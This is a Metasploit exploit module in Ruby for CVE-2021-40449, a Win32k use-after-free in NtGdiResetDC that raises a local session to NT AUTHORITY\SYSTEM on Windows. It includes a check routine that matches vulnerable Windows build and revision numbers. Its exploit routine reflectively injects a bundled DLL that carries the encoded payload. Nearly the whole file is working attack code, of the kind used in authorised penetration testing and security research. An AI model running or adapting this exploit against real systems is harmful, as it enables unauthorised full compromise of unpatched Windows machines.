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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = GoodRanking
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  include Msf::Post::File
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  include Msf::Post::Windows::Priv
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  include Msf::Post::Windows::Version
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  include Msf::Post::Windows::Process
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  include Msf::Post::Windows::ReflectiveDLLInjection
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        {
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          'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',
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          'Description' => %q{
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            A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by
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            an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact
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            that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers
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            can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object
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            that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle
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            with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the
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            attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the
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            kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.
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            This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions
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            of Windows 10 will likely also work.
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          },
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          'License' => MSF_LICENSE,
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          'Author' => [
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            'IronHusky', # APT Group who exploited this in the wild
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            'Costin Raiu', # Initial reporting on bug at SecureList
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            'Boris Larin', # Initial reporting on bug at SecureList
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            "Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability
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            'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763
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            'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.
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            'Grant Willcox' # metasploit module
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          ],
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          'Platform' => 'win',
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          'SessionTypes' => [ 'meterpreter' ],
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          'DefaultOptions' => {
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            'EXITFUNC' => 'thread'
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          },
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          'Targets' => [
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            [ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]
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          ],
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          'Payload' => {
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            'DisableNops' => true
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          },
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          'References' => [
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            [ 'CVE', '2021-40449' ],
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            [ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation
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            [ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup
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            [ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC
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            [ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.
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          ],
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          'DisclosureDate' => '2021-10-12',
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          'DefaultTarget' => 0,
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          'Notes' => {
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            'Stability' => [ CRASH_OS_RESTARTS, ],
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            'Reliability' => [ REPEATABLE_SESSION, ],
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            'SideEffects' => []
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          }
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        }
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      )
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    )
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  end
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  def check
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    if session.platform != 'windows'
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      # Non-Windows systems are definitely not affected.
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      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
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    end
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    version = get_version_info
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    unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Win10_21H1) ||
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           version.build_number == Msf::WindowsVersion::Server2022 ||
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           version.build_number == Msf::WindowsVersion::Win11_21H2
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      return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
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    end
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    # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/
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    if version.build_number == Msf::WindowsVersion::Win11_21H2 && version.revision_number.between?(0, 257)
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      return CheckCode::Appears('Vulnerable Windows 11 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Server2022 && version.revision_number.between?(0, 287)
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      return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_21H2 && version.revision_number.between?(0, 1318)
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      return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_21H1 && version.revision_number.between?(0, 1287)
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      return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 1287)
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      return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 1287)
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      return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1853)
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      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1903
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      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 2236)
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      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1803
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      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1709
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      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1703
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      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1607 && version.revision_number.between?(0, 4703)
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      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1511
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      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win10_1507 && version.revision_number.between?(0, 19085)
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      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win81 # Includes Server 2012 R2
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      return CheckCode::Detected('Windows 8.1/Windows Server 2012 R2 build detected!')
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    elsif version.build_number == Msf::WindowsVersion::Win8 # Includes Server 2012
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      return CheckCode::Detected('Windows 8/Windows Server 2012 build detected!')
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    elsif version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) # Includes Server 2008 R2
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      return CheckCode::Detected('Windows 7/Windows Server 2008 R2 build detected!')
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    elsif version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2008_SP2_Update)
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      return CheckCode::Detected('Windows Server 2008/Windows Server 2008 SP2 build detected!')
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    else
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      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
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    end
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  end
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  def exploit
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    if is_system?
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      fail_with(Failure::None, 'Session is already elevated')
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    end
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    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
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      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
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    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
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      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
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    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
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      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
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    end
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    encoded_payload = payload.encoded
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    execute_dll(
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      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),
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      [encoded_payload.length].pack('I<') + encoded_payload
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    )
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    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
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  end
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end
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